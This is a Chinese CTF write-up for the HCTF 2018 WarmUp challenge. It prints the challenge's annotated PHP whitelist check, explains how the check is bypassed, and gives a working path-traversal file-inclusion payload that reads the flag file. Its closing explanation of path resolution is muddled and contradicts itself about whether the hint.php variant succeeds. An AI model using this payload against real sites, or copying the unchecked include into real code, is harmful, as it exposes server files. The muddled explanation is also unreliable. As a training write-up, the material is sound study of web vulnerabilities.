首先进入靶场我们会看到一个大小脸,这看起来似乎什么都没有,但是f12会发现
![[HCTF 2018]WarmUp-1.png](/upload/%5BHCTF%202018%5DWarmUp-1.png)
看注释提示有个source.php, 我们可以去网址后面加上这个访问一下,会出现一段php代码,这里我给他加上了注释
代码解读
<?php
/**
* CTF题目:带白名单校验的文件包含漏洞
* 核心考点:校验逻辑 vs 执行逻辑不一致导致的绕过
*/
// 🔹 功能:高亮显示当前源代码(CTF常用,方便选手分析)
highlight_file(__FILE__);
/**
* 🔹 定义类 emmm(名字随意,无特殊含义)
*/
class emmm
{
/**
* 🔹 静态方法 checkFile:校验用户传入的 $page 是否"合法"
* @param string &$page 用户输入的文件名(引用传递,可被修改)
* @return bool 校验通过返回 true,否则 false
*/
public static function checkFile(&$page)
{
// 🔸 白名单:只允许这两个文件
$whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
// 🔸 基础校验:$page 必须存在且是字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it"; // 失败提示
return false;
}
// 🔸 校验①:直接匹配白名单
// 例:file=source.php → ✅ 通过
if (in_array($page, $whitelist)) {
return true;
}
// 🔸 校验②:截取 ? 之前的部分再匹配(绕过思路:file=source.php?a=1)
// mb_strpos($page . '?', '?') → 找到第一个 ? 的位置
// mb_substr(..., 0, 位置) → 截取 ? 前面的字符串
// 例:file=source.php?../../flag → 截取后变成 source.php → ✅ 通过校验
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') // + '?' 确保即使没 ? 也能正常截取
);
if (in_array($_page, $whitelist)) {
return true;
}
// 🔸 校验③:先 URL 解码,再截取 ? 前部分,再匹配
// 绕过思路:file=source.php%3F../../flag → decode后变成 source.php?../../flag → 截取 source.php → ✅ 通过
$_page = urldecode($page); // 解码一次:%3F → ?
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
// 🔸 三重校验都失败 → 拒绝访问
echo "you can't see it";
return false;
}
}
/**
* 🔹 主逻辑:处理用户请求
*/
if (
! empty($_REQUEST['file']) // ① file 参数存在且非空
&& is_string($_REQUEST['file']) // ② 是字符串类型
&& emmm::checkFile($_REQUEST['file']) // ③ 通过白名单校验
) {
// ⚠️ 高危操作:直接 include 用户输入!
// 💣 漏洞核心:checkFile 校验的是「处理后」的值,但 include 用的是「原始输入」
include $_REQUEST['file']; // ← 实际执行的文件路径是用户原始输入!
exit; // 成功后退出,不执行下方代码
} else {
// 校验失败:显示一张图片(CTF常见干扰/提示)
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>看代码貌似还有一个hint.php,我们访问显示
flag not here, and flag in ffffllllaaaagggg
显然我们找错地方了,但是他给我们了一个提示说明flag应该是在 ffffllllaaaagggg文件中
最终的payload为 <靶场地址>:/source.php?file=source.php?/../../../../ffffllllaaaagggg
一定要注意的就是靶场地址后面的文件只能是source.php不能是hint.php,因为只有访问source.php才会出发include的漏洞,hint.php里面可能就是这么一段简单的php代码
<?php
echo "flag not here, and flag in ffffllllaaaagggg";
?>📊 两种访问方式对比
✅ 访问 /source.php?file=hint.php?/../../../../ffffllllaaaagggg
1️⃣ 入口文件:source.php
↓
2️⃣ 执行 source.php 的代码:
- 调用 emmm::checkFile($_REQUEST['file'])
- file 参数值:"hint.php?/../../../../ffffllllaaaagggg"
- 校验:截取 ? 前 → "hint.php" ✅ 白名单通过
↓
3️⃣ 执行漏洞点:include $_REQUEST['file']
- include "hint.php?/../../../../ffffllllaaaagggg"
- PHP 解析:hint.php 被包含执行,? 后内容在某些环境下可触发路径遍历
↓
4️⃣ 成功读取 ffffllllaaaagggg 内容 🚩❌ 访问 /hint.php?file=hint.php?/../../../../ffffllllaaaagggg
1️⃣ 入口文件:hint.php
↓
2️⃣ 执行 hint.php 的代码:
- ⚠️ hint.php 可能只是一个普通文件,没有 checkFile + include 逻辑!
- 或者 hint.php 有自己的逻辑,根本不处理 $_REQUEST['file'] 参数
↓
3️⃣ file 参数被忽略,payload 从未被执行
↓
4️⃣ 无法触发漏洞,拿不到 flag ❌hint.php?/../../../../ffffllllaaaagggg(✅ 成功)
include 参数: "hint.php?/../../../../ffffllllaaaagggg"
↓
PHP 解析逻辑:
① ? 前: hint.php → 主文件(用于通过白名单校验)
② ? 后: /../../../../ffffllllaaaagggg
↓
③ / 开头 = 绝对路径 → 从文件系统根目录 / 开始遍历
↓
路径解析: / → ../ → ../../ → ../../../ → ../../../../ → /ffffllllaaaagggg
↓
✅ 成功定位到根目录下的 flag 文件1